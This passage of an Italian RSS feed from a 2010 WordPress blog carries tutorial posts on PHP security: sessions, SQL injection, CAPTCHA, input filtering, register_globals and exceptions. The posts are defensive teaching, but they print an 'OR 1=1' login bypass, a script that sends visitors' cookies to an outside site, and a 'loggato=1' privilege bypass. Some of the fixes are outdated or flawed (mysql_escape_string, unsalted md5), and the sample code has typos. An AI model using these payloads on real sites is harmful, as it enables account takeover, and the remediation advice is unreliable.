<p>Un altro attacco cui sono sottoposte le sessioni è il “session fixation”. In questo caso un utente potrebbe con l&#8217;utilizzo della variabile PHPSESSID forzare la propria sessione con una già esistente e associata ad un altro utente. Per superare questo inconveniente sarebbe innanzitutto conveniente cambiare il valore di default del cookie di sessione (da PHPSESSID a qualcos&#8217;altro ) e  rigenerare in modo  assiduo il valore della sessione con la funzione <em>regenerate_id() </em>soprattutto in fase di autenticazione</p>
<p><em>Session hijacking </em>è un attacco grazie al quale un attaccante riesce a reperire l&#8217;ID di sessione di un malcapitato. In questo caso il controllo è più complicato, ma esistono delle tecniche di protezione che limitano l&#8217;efficacia di questo attacco. Per esempio se il server che emette la variabile di sessione controllasse anche l&#8217; <em>HTTP_USER_AGENT </em>del client, nel caso in cui questo cambiasse durante una sessione, allora la sessione dovrebbe chiudersi e richiedere il login all&#8217;utente.</p>
<p>Purtroppo se l&#8217;attaccante sfrutta il medesimo browser il nostro controllo verrà superato.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/321/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/321/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/321/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=321&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-quarta-sessioni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
		<item>
		<title>La sicurezza in PHP – parte terza [SQL Injection e test CAPTCHA]</title>
		<link>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-terza-sql-injection-e-test-captcha/</link>
		<comments>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-terza-sql-injection-e-test-captcha/#comments</comments>
		<pubDate>Thu, 06 May 2010 18:41:21 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=316</guid>
		<description><![CDATA[Ormai la maggior parte dei siti internet contemporanei utilizza un database di riferimento per il salvataggio ed il reperimento dei dati. Diventa quindi di vitale importanza la fase di interrogazione verso questo sistema. Un tipico attacco verso un database è molte volte viene portato tramite una tecnica detta “SQL Injection” in cui si cerca di [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=316&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Ormai la maggior parte dei siti internet contemporanei utilizza un database di riferimento per il salvataggio ed il reperimento dei dati. Diventa quindi di vitale importanza la fase di interrogazione verso questo sistema.</p>
<p>Un tipico attacco verso un database è molte volte viene portato tramite una tecnica detta  “SQL Injection” in cui si cerca di modificare una query legittima per reperire dati altrimenti inaccessibili o per ottenere privilegi superiori a quelli consentiti.</p>
<p><span id="more-316"></span>Di seguito viene riportato un esempio di questo attacco:</p>
<p>Form di autenticazione:</p>
<p><em>&lt;form method=&#8217;POST&#8217; action=&#8217;login.php&#8217;&gt;</em></p>
<p><em> Username: &lt;input type=&#8217;text&#8217; name=&#8217;username&#8217; /&gt; &lt;br /&gt;</em></p>
<p><em> Password: &lt;input type=&#8217;password&#8217; name=&#8217;password&#8217; /&gt; &lt;br /&gt;</em></p>
<p><em> &lt;input type=&#8217;submit&#8217; value=&#8217;login&#8217;&gt;</em></p>
<p><em>&lt;/form&gt;</em></p>
<p>Script login.php:</p>
<p><em>$username=$_POST['username'];</em></p>
<p><em>$password=$_POST['password'];</em></p>
<p><em>$sql = &#8216;SELECT * FROM utenti WHERE username=&#8217; . $username . &#8216; AND password=&#8217; . $password . &#8216; &#8216;;</em></p>
<p><em>// connessione al database e valutazione del risultato</em></p>
<p><em>if (count($result)&gt; 0){</em></p>
<p><em> // Login avvenuto con successo</em></p>
<p><em>}</em></p>
<p>Cosa accadrebbe se un utente nel campo nome utente inserisse:</p>
<p><em> $username OR 1=1</em></p>
<p>Siccome il costrutto OR 1=1 da sempre esito positivo, l&#8217;utente in questione anche se non è a conoscenza della password e del nome utente può accedere tranquillamente all&#8217;area riservata.</p>
<p>Per arginare questo tipo di “Injection” è sufficiente controllare il formato delle variabili immesse dall&#8217;utente. Nell&#8217;esempio precedente sarebbe  necessario utilizzare una funzione *_escape_string() per eliminare il problema, ecco il dettaglio (caso di DBMS Mysql):</p>
<p><em>$username=mysql_escape_string($_POST['username']);</em></p>
<p><em>$password=md5(mysql_escape_string($_POST['password']));</em></p>
<p>Un altro modo per attaccare sistemi web e database correlati è quello di inondarlo di registrazioni, in modo tale da renderlo più pesante e quindi meno fruibile.</p>
<p>Ovviamente questo tipo di attacco si sposa con siti web che forniscono agli utenti la possibilità di registrarsi liberamente.</p>
<p>Esistono in questi casi script generati ad-hoc in grado di eseguire un numero considerevole di registrazioni in poco tempo, dato che sono in grado di compilare le form di attivazione in modo automatico.</p>
<p>Un metodo per difendersi da questo floodingdi richieste  sta nel test <em>CAPTCHA .</em> Tale test, il cui significato è <em>Completely Automated Public Turing test to tell Computers and Human Apart </em>non permette la registrazione automatica perché costringe l&#8217;utente in fase di inserimento dati a estrapolare una frase seminascosta in un immagine, eccone un esempio:</p>
<div id="attachment_317" class="wp-caption aligncenter" style="width: 339px"><a href="http://poyblog.files.wordpress.com/2010/05/captcha_example.jpg"><img class="size-full wp-image-317" title="Esempio test CAPTCHA" src="http://poyblog.files.wordpress.com/2010/05/captcha_example.jpg?w=329&#038;h=134" alt="" width="329" height="134" /></a><p class="wp-caption-text">Esempio di test CAPTCHA</p></div>
<p>La bontà del test sta nella capacità di nascondere le lettere ad una “macchina” ma non ad una persona. Il metodo in questione non è  infallibile, la sua integrità viene avvalorata dalla accuratezza con cui le immagini vengono generate.</p>
<p>Maggiori dettagli si possono trovare al sito ufficiale <a href="http://www.captcha.net/">http://www.captcha.net/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/316/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/316/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=316&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-terza-sql-injection-e-test-captcha/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>

		<media:content url="http://poyblog.files.wordpress.com/2010/05/captcha_example.jpg" medium="image">
			<media:title type="html">Esempio test CAPTCHA</media:title>
		</media:content>
	</item>
		<item>
		<title>La sicurezza in PHP – parte seconda [Filtro dati e register globals]</title>
		<link>http://poyblog.wordpress.com/2010/04/22/la-sicurezza-in-php-%e2%80%93-parte-seconda-filtro-dati-e-register-globals/</link>
		<comments>http://poyblog.wordpress.com/2010/04/22/la-sicurezza-in-php-%e2%80%93-parte-seconda-filtro-dati-e-register-globals/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 21:27:54 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[escape]]></category>
		<category><![CDATA[filtro dati]]></category>
		<category><![CDATA[register_globals]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=313</guid>
		<description><![CDATA[Molte volte i concetti di sicurezza sono da considerarsi generali e quindi validi per più linguaggi di programmazione. Il caso del controllo dati immessi dall&#8217;utente finale è forse uno di quei passaggi necessari ed obbligatori per ogni linguaggio di programmazione affinché una porzione di codice o un intero applicativo si possano considerare perlomeno attendibili. Come [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=313&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Molte volte i concetti di sicurezza sono da considerarsi generali e quindi validi per più linguaggi di programmazione.</p>
<p>Il caso del controllo dati immessi dall&#8217;utente finale è forse uno di quei passaggi necessari ed obbligatori per ogni linguaggio di programmazione affinché una porzione di codice o un intero applicativo si possano considerare perlomeno attendibili.</p>
<p>Come avevamo già specificato per il linguaggio Javascript anche per PHP i concetti da seguire sono i medesimi.</p>
<p><span id="more-313"></span></p>
<p>In particolare tutti i dati provenienti da variabili $_POST, $_GET o $_COOKIE sono da considerarsi insicuri e quindi prima di essere processati devono essere esaminati e controllati con cura.</p>
<p>Il linguaggio fornisce molti metodi per il controllo dati immessi, di seguito un elenco:</p>
<ul>
<li>filter_has_var 	→ controlla se una variabile di un determinato tipo esiste</li>
<li>filter_id 	→ restituisce l&#8217;identificativo associato al nome di un filtro</li>
<li>filter_input_array 	→ filtra un insieme di variabili date in input tramite un vettore</li>
<li>filter_input 	→ filtra il contenuto di una variabile in input</li>
<li>filter_list 	→ restituisce una lista di tutti i filtri supportati</li>
<li>filter_var_array 	→ filtra un insieme di variabili specificate tramite un vettore</li>
<li>filter_var 	→ filtra il contenuto di una variabile</li>
<li>htmlentities 	→ converte una stringa in entità HTML</li>
<li>htmlspecialchars 	→ converte i caratteri speciali di una stringa in entità HTML</li>
<li>urlencode 	→ converte una stringa perchè possa essere utilizzata come 	indirizzo URL</li>
<li>*_escape_string 	→ insieme di funzioni specifiche per l&#8217;escaping di una stringa in 	base alla destinazione d&#8217;uso (*)
<ul>
<li>Per 		esempio mysql_escape_string permette di formattare correttamente 		una stringa contente codice SQL. Può essere utilizzato per evitare 		attacchi di tipo SQL Injection.</li>
</ul>
</li>
</ul>
<p>Maggiori dettagli rispetto alle funzioni di controllo dati input possono trovarsi sul sito ufficiale del linguaggio PHP <a href="http://www.php.net/">http://www.php.net</a></p>
<p>Vediamo ora un esempio su come sfruttare il controllo dati input per bloccare delle minacce.</p>
<p>Supponiamo di avere una form di inserimento dati ed un campo textarea. Cosa accadrebbe se un utente in questa textarea inserisse tale codice:</p>
<p><em>&lt;script&gt;</em></p>
<p><em> document.localtion =”<a href="http://tiruboilcookie.org/getcookies.php?cokkies">http://tiruboilcookie.org/getcookies.php?cokkies</a>=” + document.cookie;</em></p>
<p><em>&lt;/script&gt;</em></p>
<p>Tutti coloro che visualizzeranno tale documento invieranno il loro cookie allo script getcookies del sito tiruboilcookie.org il cui intento è direi abbastanza esplicito.</p>
<p>Un semplice filtro sui dati immessi nella textarea potrebbe facilmente evitare questi attacchi</p>
<p>In PHP è possibile attivare l&#8217;opzione <em>register_globals</em> nel file di configurazione generale. Tale opzione permette di impostare le variabili provenienti da querystring, form e sessioni come variabili globali.</p>
<p>Questo atteggiamento può essere molto pericoloso dato che permette ad un attaccante di modificare qualsiasi variabile dello script PHP.</p>
<p>Supponiamo che esista una procedura di controllo della avvenuta autenticazione di questo tipo:</p>
<p><em>if (controlloLogin()){</em></p>
<p><em> $loggato = 1;</em></p>
<p><em>}</em></p>
<p><em>if ($loggato){</em></p>
<p><em> // eseguo tutte le operazioni come utente abilitato</em></p>
<p><em>}</em></p>
<p>Con l&#8217;opzione <em>register_globals</em> attivata un attaccante potrebbe acquisire i privilegi di utente autenticato semplicemente inserendo una variabile nella url in questo modo:</p>
<p>… <em>login.php?loggato=1</em></p>
<p>Dalla versione 4.2 di PHP tale funzione è disabilitata di norma, ma comunque vale sempre la pena controllare che non sia attiva su siti in produzione.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/313/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=313&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/04/22/la-sicurezza-in-php-%e2%80%93-parte-seconda-filtro-dati-e-register-globals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
		<item>
		<title>La sicurezza in PHP – parte prima [gestione degli errori e delle eccezioni]</title>
		<link>http://poyblog.wordpress.com/2010/04/20/la-sicurezza-in-php-%e2%80%93-parte-prima-gestione-degli-errori-e-delle-eccezioni/</link>
		<comments>http://poyblog.wordpress.com/2010/04/20/la-sicurezza-in-php-%e2%80%93-parte-prima-gestione-degli-errori-e-delle-eccezioni/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 20:19:59 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[eccezioni]]></category>
		<category><![CDATA[errori]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=311</guid>
		<description><![CDATA[Tutte le considerazioni che verranno espresse di seguito fanno riferimento alla versione 5 del linguaggio PHP. E&#8217; comunque utile precisare sin dall&#8217;inizio che di per se PHP si configura come un linguaggio con un buon livello di sicurezza intrinseco. Partiamo comunque dalla gestione degli errori, il linguaggio in questione fornisce vari livelli di avviso per [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=311&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Tutte le considerazioni che verranno espresse di seguito fanno riferimento alla versione 5 del linguaggio PHP.</p>
<p>E&#8217; comunque utile precisare sin dall&#8217;inizio che di per se PHP si configura come un linguaggio con un buon livello di sicurezza intrinseco.</p>
<p><span id="more-311"></span>Partiamo comunque dalla gestione degli errori, il linguaggio in questione fornisce vari livelli di avviso per l&#8217;utente, eccoli di seguito:</p>
<ul>
<li>Compile-time 	errors → errori di compilazione, non intercettabili a livello 	applicativo</li>
<li>Fatal 	errors → errori fatali che bloccano l&#8217;esecuzione di uno script</li>
<li>Recoverable 	errors → errori “recuperabili” che sono comunque bloccanti e 	vengono intercettati a livello applicativo</li>
<li>Warnings 	→ errori non bloccanti, comunque recuperabili</li>
<li>Notices 	→ errori informativi non sempre significativi</li>
</ul>
<p>Ricapitolando gli unici errori che possono essere visualizzati a livello applicativo sono gli ultimi tre dell&#8217;elenco. Seppure sia molto utile durante la fase di sviluppo visualizzare tutti questi messaggi di errore, in fase di produzione potrebbe rilevare alcune vulnerabilità che alcuni “attaccanti” potrebbero sfruttare.</p>
<p>Dalla versione 5 di PHP è stato  introdotto il costrutto <em>try-trow-catch</em> , struttura che tra l&#8217;altro abbiamo già incontrato nell&#8217;articolo 	<a href="../../../../../2010/04/14/sicurezza-del-linguaggio-javascript-strumenti-di-difesa/">http://poyblog.wordpress.com/2010/04/14/sicurezza-del-linguaggio-javascript-strumenti-di-difesa/</a></p>
<p>Il funzionamento è più o meno il medesimo, ovvero all&#8217;interno del blocco <em>try si </em>cerca di eseguire il codice, che può abilitare alcune eccezioni “guidate” con l&#8217;istruzione <em>throw</em> . Le eccezioni vengono poi rimandate e gestite con l&#8217;istruzione <em>cacth.</em></p>
<p>Ecco un esempio<em>:</em></p>
<p><em>try{</em></p>
<p><em> $valore = 0;</em></p>
<p><em> if($valore == 0)</em></p>
<p><em> trow new Exception(&#8221;Divisione per 0&#8242;);</em></p>
<p><em> else</em></p>
<p><em> $inverso = 1/$inverso;</em></p>
<p><em>}</em></p>
<p><em>catch(Exception $e){</em></p>
<p><em> echo “Eccezione intercettata: ”, $e, “\n”;</em></p>
<p><em>}</em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/311/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/311/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/311/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=311&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/04/20/la-sicurezza-in-php-%e2%80%93-parte-prima-gestione-degli-errori-e-delle-eccezioni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
	</channel>
</rss>
